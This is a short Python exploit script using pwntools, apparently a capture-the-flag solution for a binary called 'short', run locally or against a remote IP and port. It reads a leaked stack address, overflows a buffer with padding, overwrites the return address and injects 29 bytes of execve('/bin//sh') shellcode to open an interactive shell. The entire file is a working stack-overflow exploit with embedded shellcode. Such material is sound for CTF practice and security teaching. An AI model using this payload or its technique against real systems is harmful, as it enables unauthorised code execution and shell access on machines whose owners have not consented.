#!/usr/bin/env python3

from pwn import *

binary = context.binary = ELF('./short')

if args.REMOTE:
	p = remote('172.16.17.32', 1008)
else:
	p = process(binary.path)

p.recvuntil('supposed to[')
_ = p.recvuntil(']')
buff = int(_[:-1],16)
log.info('buff: ' + hex(buff))

# http://shell-storm.org/shellcode/files/shellcode-905.php
# 29 bytes
shellcode  = b''
shellcode += b'\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf'
shellcode += b'\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54'
shellcode += b'\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05'

payload  = b''
payload += 0x18 * b'A'
payload += p64(buff + 0x18 + 8)
payload += shellcode

p.sendafter('answer now\n',payload)
p.interactive()
